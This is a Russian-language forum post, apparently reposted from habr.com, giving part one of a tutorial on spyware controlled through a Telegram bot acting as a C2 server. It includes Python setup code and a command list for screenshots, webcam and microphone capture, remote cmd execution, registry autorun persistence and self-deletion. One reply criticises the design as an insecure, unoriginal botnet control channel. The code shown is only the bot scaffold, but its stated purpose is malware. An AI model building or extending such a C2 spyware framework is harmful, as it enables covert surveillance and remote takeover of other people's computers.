• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Monitoring System (SpyWare) с C2 сервером на базе чат-бота в telegram

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838

Введение​

Хотел найти приложение, позволяющее отслеживать работу своих компютеров, но испугался что кто-то сможет следить за мной через их. Поэтому решил разработать его сам, изначально ПО было похоже на приложение для родительского контроля, но после добавления новых модулей получилось SpyWare, поэтому оставлю это здесь.

Чат-бот в telegram​

Ну что же, чтобы наша программа могла получать и контролировать выполнение задач нам нужен С2 (Command and Control) сервер.
Первоначально я думал написать какой-нибудь интерфейс на Django или Flask для управления ПО и развернуть все это через Xampp, Open Server или еще что-нибудь (способов достаточно), чтобы можно было управлять не только через локальную сеть.
Но для этого нужно было бы постоянно оставлять включенным сервер, можно было бы просто развернуть все это на Raspberry Pi, но зачем нам эти трудности, если можно сделать все проще через telegram, который работает 24/7 и ничего не нужно поднимать. =)

На просторах интернета существуют миллионы гайдов на эту тему (один из них ссылку), поэтому не будем вдаваться в подробности, а быстренько получим уникальный ID, являющийся одновременно и токеном нашего бота от @BotFather и наш ID, чтобы бот мог писать нам при активации, его можно получить либо тут @IDBot либо тут @userinfobot.
Просто заходим и пишем /start.

Теперь создадим файл tg_config.py в корне проекта и добавим полученные ранее ID, конечно можно было добавить наши ID в переменные окружения (кто хочет, может так и сделать, вот туториал), но я решил оставить все на поверхности для простоты.
Код:
BOT_TOKEN = 'IDfrom@BotFather'
# IDfrom@IDBot
admin_id = 123456789
Настало время разработки, создаем dispatcher.py.
Python:
import logging
from aiogram import Bot, Dispatcher
from aiogram.contrib.middlewares.logging import LoggingMiddleware
from tg_config import BOT_TOKEN

logging.basicConfig(level=logging.INFO)

if not BOT_TOKEN:
    exit("No token provided")

bot = Bot(token=BOT_TOKEN, parse_mode="HTML")
dp = Dispatcher(bot)

dp.middleware.setup(LoggingMiddleware())
Здесь мы делаем проверку на наличие нашего токена, для связи с нашим ботом.
Инициализируем объекты бота и диспетчера и настраиваем логирование, для удобной отладки в процессе разработки.

Теперь handlers.py который отвечает за все наши обработчики, как понятно из названия.
Он будет обновляться каждый раз, когда мы будем добавлять новый функционал.
Python:
import os
import asyncio
import modules
from aiogram import types
from tg_config import admin_id
from tg.dispatcher import dp
from tg.utils import reply_handler

from aiogram.utils.exceptions import MessageTextIsEmpty, CantParseEntities


async def activate():
    await dp.bot.send_message(admin_id, "✔️ Ur system started!")


try:
    loop = asyncio.get_event_loop()
    loop.run_until_complete(activate())
except DeprecationWarning:
    pass


@dp.message_handler(commands="help")
async def support(message: types.Message):
    await message.answer(
        f'\nCommand List:\n'
        f'/check - Checking System Status\n'
        f'/pc_info - System characteristics\n'
        f'/con_info - Connection characteristics\n'
        f'/proc_info - List of running processes\n'
        f'/wifi_info - Information about Wi-Fi connections\n'
        f'/pub_ip_info - Information about public IP address\n'
        f'/screen - Desktop screenshot\n'
        f'/webcam_screen - Webcam screen\n'
        f'/audio n - (n - count of seconds)Record sound from voice recorder for 5 seconds by default\n'
        f'/exec c - (c - command) Execute command in cmd\n'
        f'/reg_autorun - Append programme to registry\n'
        f'/del_autorun - Delete programme from registry\n'
        f'/exit - Shutting down the program before reboot\n'
        f'/destroy - Delete the program from the computer\n'
    )
Я решил не заморачиваться и выкладываю сразу часть финального кода хэндлера, чтобы не напоминать добавить вам одну строчку, после добавления нового функционала, да и чтоб самому не забыть. =)

В начале пишем метод activate(), который будет вызываться при запуске нашего ПО и сигнализировать нам о начале сеанса.
Далее создаем цикл событий и запускаем его, он будет работать до того момента, пока не отработает наш метод activate().
Ну и добавляем наш первый хэндлер, который будет выводить список и описание доступных команд.

Ну и в конце создаем main.py, который будет запускать нашего бота.
Python:
from aiogram.utils import executor
from tg.dispatcher import dp

from tg import handlers

if __name__ == "__main__":
    executor.start_polling(dp, skip_updates=True)

Заключение​

В этой части мы разработали нашего бота, который будет помогать нам контролировать и следить за результатами нашего ПО. На этом первая часть подходит к концу, а самое интересное еще впереди =)

Также оставлю ссылку на проект

Автор @QdMiracle
Источник habr.com
 
но зачем нам эти трудности, если можно сделать все проще через telegram, который работает 24/7 и ничего не нужно поднимать
Дело в том, что бот где-то должен работать. На сервере, так, что поднимать придется и работать 24\7 придется скрипту.

Python:
f'/exec c - (c - command) Execute command in cmd\n'
Страшно подумать, что кто-то посторонний найдет эту реализацию в боте)

Python:
skip_updates=True
По ситуации. Например если падает бот, то после его поднятия он ничего не выполнит. А если в False то он потом выполнит все сотню комманд, что ему прислали.

Ах да и боту может написать любой пользователь который его найдет.

Подобных реализаций управлениея ботнетами были десятки, через статус вк, парс pastebin с определенными коммандами.

Ничего нового. Проходим дальше...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх